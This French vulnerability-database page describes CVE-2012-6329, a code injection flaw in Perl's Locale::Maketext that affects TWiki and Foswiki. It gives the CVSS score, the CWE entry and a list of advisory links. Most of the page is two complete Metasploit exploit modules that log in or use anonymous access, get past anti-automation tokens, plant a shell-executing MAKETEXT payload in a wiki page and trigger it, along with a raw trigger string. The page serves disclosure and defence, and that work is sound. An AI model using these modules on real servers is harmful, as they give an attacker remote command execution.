CVE-2012-6329 : Détail

CVE-2012-6329

Code Injection
A03-Injection
58.02%V3
Network
2013-01-04
20h00 +00:00
2016-12-06
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The _compile function in Maketext.pm in the Locale::Maketext implementation in Perl before 5.17.7 does not properly handle backslashes and fully qualified method names during compilation of bracket notation, which allows context-dependent attackers to execute arbitrary commands via crafted input to an application that accepts translation strings from users, as demonstrated by the TWiki application before 5.1.3, and the Foswiki application 1.0.x through 1.0.10 and 1.1.x through 1.1.6.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 23580

Date de publication : 2012-12-22 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Foswiki MAKETEXT Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using a specially crafted MAKETEXT, a malicious user can execute shell commands since the input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. Only Foswiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set) are vulnerable. If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the FoswikiPage option isn't provided, the module will try to create a random page on the SandBox space. The modules has been tested successfully on Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image. }, 'Author' => [ 'Brian Carlson', # original discovery in Perl Locale::Maketext 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6329' ], [ 'OSVDB', '88410' ], [ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ] ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic ruby python bash telnet' } }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Foswiki 1.1.5', { }]], 'DisclosureDate' => 'Dec 03 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]), OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def do_login(username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}bin/login", 'vars_post' => { 'username' => username, 'password' => password } }) if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/ vprint_status "#{res.code}\n#{res.body}" return nil end session = $1 return session end def inject_code(session, code) vprint_status("Retrieving the validation_key...") res = send_request_cgi({ 'uri' => "#{@base}bin/edit#{@page}", 'cookie' => "FOSWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/ vprint_error("Error retrieving the validation_key") return nil end validation_key = $1 vprint_good("validation_key found: #{validation_key}") if session.empty? if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") return nil end end if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/ strike_one = $1 else vprint_error("Error getting the FOSWIKISTRIKEONE value") return nil end # Transforming validation_key in order to bypass foswiki antiautomation validation_key = Rex::Text.md5(validation_key + strike_one) vprint_status("Transformed validation key: #{validation_key}") vprint_status("Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}bin/save#{@page}", 'cookie' => "FOSWIKISID=#{session}", 'vars_post' => { 'validation_key' => validation_key, 'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%" } }) if not res or res.code != 302 or res.headers['Location'] !~ /bin\/view#{@page}/ print_warning("Error injecting the payload") print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}" return nil end location = URI(res.headers['Location']).path print_good("Payload injected on #{location}") return location end def check @base = target_uri.path @base << '/' if @base[-1, 1] != '/' res = send_request_cgi({ 'uri' => "#{@base}System/WebHome" }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/ version = $1 print_status("Version found: #{version}") if version <= "1.1.6" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Detected end def exploit # Init variables @page = '' if datastore['FoswikiPage'] and not datastore['FoswikiPage'].empty? @page << '/' if datastore['FoswikiPage'][0] != '/' @page << datastore['FoswikiPage'] else @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}" end @base = target_uri.path @base << '/' if @base[-1, 1] != '/' # Login if needed if (datastore['USERNAME'] and not datastore['USERNAME'].empty? and datastore['PASSWORD'] and not datastore['PASSWORD'].empty?) print_status("Trying login to get session ID...") session = do_login(datastore['USERNAME'], datastore['PASSWORD']) else print_status("Using anonymous access...") session = "" end if not session fail_with(Exploit::Failure::Unknown, "Error getting a session ID") end # Inject payload print_status("Trying to inject the payload on #{@page}...") res = inject_code(session, payload.encoded) if not res or res !~ /#{@page}/ fail_with(Exploit::Failure::Unknown, "Error injecting the payload") end # Execute payload print_status("Executing the payload through #{@page}...") res = send_request_cgi({ 'uri' => "#{@base}#{@page}", 'cookie' => "FOSWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /HASH/ print_status("#{res.code}\n#{res.body}") fail_with(Exploit::Failure::Unknown, "Error executing the payload") end print_good("Exploitation was successful") end end =begin * Trigger: %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}% =end
Exploit Database EDB-ID : 23579

Date de publication : 2012-12-22 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TWiki MAKETEXT Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a specially crafted MAKETEXT, a malicious user can execute shell commands since user input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. This works in TWiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set). If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the 'TwikiPage' option isn't provided, the module will try to create a random page on the SandBox space. The modules has been tested successfully on TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine. }, 'Author' => [ 'George Clark', # original discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6329' ], [ 'OSVDB', '88460' ], [ 'BID', '56950' ], [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ] ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic ruby python bash telnet' } }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Dec 15 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]), OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def do_login(username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}do/login", 'vars_post' => { 'username' => username, 'password' => password } }) if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/ return nil end session = $1 return session end def inject_code(session, code) vprint_status("Retrieving the crypttoken...") res = send_request_cgi({ 'uri' => "#{@base}do/edit#{@page}", 'cookie' => "TWIKISID=#{session}", 'vars_get' => { 'nowysiwyg' => '1' } }) if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/ vprint_error("Error retrieving the crypttoken") return nil end crypttoken = $1 vprint_good("crypttoken found: #{crypttoken}") if session.empty? if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") return nil end end vprint_status("Injecting the payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}do/save#{@page}", 'cookie' => "TWIKISID=#{session}", 'vars_post' => { 'crypttoken' => crypttoken, 'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%" } }) if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/ print_warning("Error injecting the payload") print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}" return nil end location = URI(res.headers['Location']).path print_good("Payload injected on #{location}") return location end def check @base = target_uri.path @base << '/' if @base[-1, 1] != '/' res = send_request_cgi({ 'uri' => "#{@base}do/view/TWiki/WebHome" }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/ version = $1 print_status("Version found: #{version}") if version < "5.1.3" return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Detected end def exploit # Init variables @page = '' if datastore['TwikiPage'] and not datastore['TwikiPage'].empty? @page << '/' if datastore['TwikiPage'][0] != '/' @page << datastore['TwikiPage'] else @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}" end @base = target_uri.path @base << '/' if @base[-1, 1] != '/' # Login if needed if (datastore['USERNAME'] and not datastore['USERNAME'].empty? and datastore['PASSWORD'] and not datastore['PASSWORD'].empty?) print_status("Trying login to get session ID...") session = do_login(datastore['USERNAME'], datastore['PASSWORD']) else print_status("Using anonymous access...") session = "" end if not session fail_with(Exploit::Failure::Unknown, "Error getting a session ID") end # Inject payload print_status("Trying to inject the payload on #{@page}...") res = inject_code(session, payload.encoded) if not res fail_with(Exploit::Failure::Unknown, "Error injecting the payload") end # Execute payload print_status("Executing the payload through #{res}...") res = send_request_cgi({ 'uri' => res, 'cookie' => "TWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /HASH/ fail_with(Exploit::Failure::Unknown, "Error executing the payload") end print_good("Exploitation was successful") end end =begin * Trigger: %MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}% =end

Products Mentioned

Configuraton 0

Perl>>Perl >> Version To (including) 5.16.2

Perl>>Perl >> Version 5.10

Perl>>Perl >> Version 5.10.0

Perl>>Perl >> Version 5.10.0

Perl>>Perl >> Version 5.10.0

Perl>>Perl >> Version 5.10.1

Perl>>Perl >> Version 5.10.1

Perl>>Perl >> Version 5.10.1

Perl>>Perl >> Version 5.11.0

Perl>>Perl >> Version 5.11.1

Perl>>Perl >> Version 5.11.2

Perl>>Perl >> Version 5.11.3

Perl>>Perl >> Version 5.11.4

Perl>>Perl >> Version 5.11.5

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.0

Perl>>Perl >> Version 5.12.1

Perl>>Perl >> Version 5.12.1

Perl>>Perl >> Version 5.12.1

Perl>>Perl >> Version 5.12.2

Perl>>Perl >> Version 5.12.2

Perl>>Perl >> Version 5.12.3

Perl>>Perl >> Version 5.12.3

Perl>>Perl >> Version 5.12.3

Perl>>Perl >> Version 5.12.3

Perl>>Perl >> Version 5.13.0

Perl>>Perl >> Version 5.13.1

Perl>>Perl >> Version 5.13.2

Perl>>Perl >> Version 5.13.3

Perl>>Perl >> Version 5.13.4

Perl>>Perl >> Version 5.13.5

Perl>>Perl >> Version 5.13.6

Perl>>Perl >> Version 5.13.7

Perl>>Perl >> Version 5.13.8

Perl>>Perl >> Version 5.13.9

Perl>>Perl >> Version 5.13.10

Perl>>Perl >> Version 5.13.11

Perl>>Perl >> Version 5.14.0

Perl>>Perl >> Version 5.14.0

Perl>>Perl >> Version 5.14.0

Perl>>Perl >> Version 5.14.0

Perl>>Perl >> Version 5.14.1

Perl>>Perl >> Version 5.14.2

Perl>>Perl >> Version 5.14.3

Perl>>Perl >> Version 5.16.0

Perl>>Perl >> Version 5.16.1

Références

http://www.mandriva.com/security/advisories?name=MDVSA-2013:113
Tags : vendor-advisory, x_refsource_MANDRIVA
http://code.activestate.com/lists/perl5-porters/187763/
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2012/12/11/4
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2099-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://code.activestate.com/lists/perl5-porters/187746/
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2013-0685.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/56950
Tags : vdb-entry, x_refsource_BID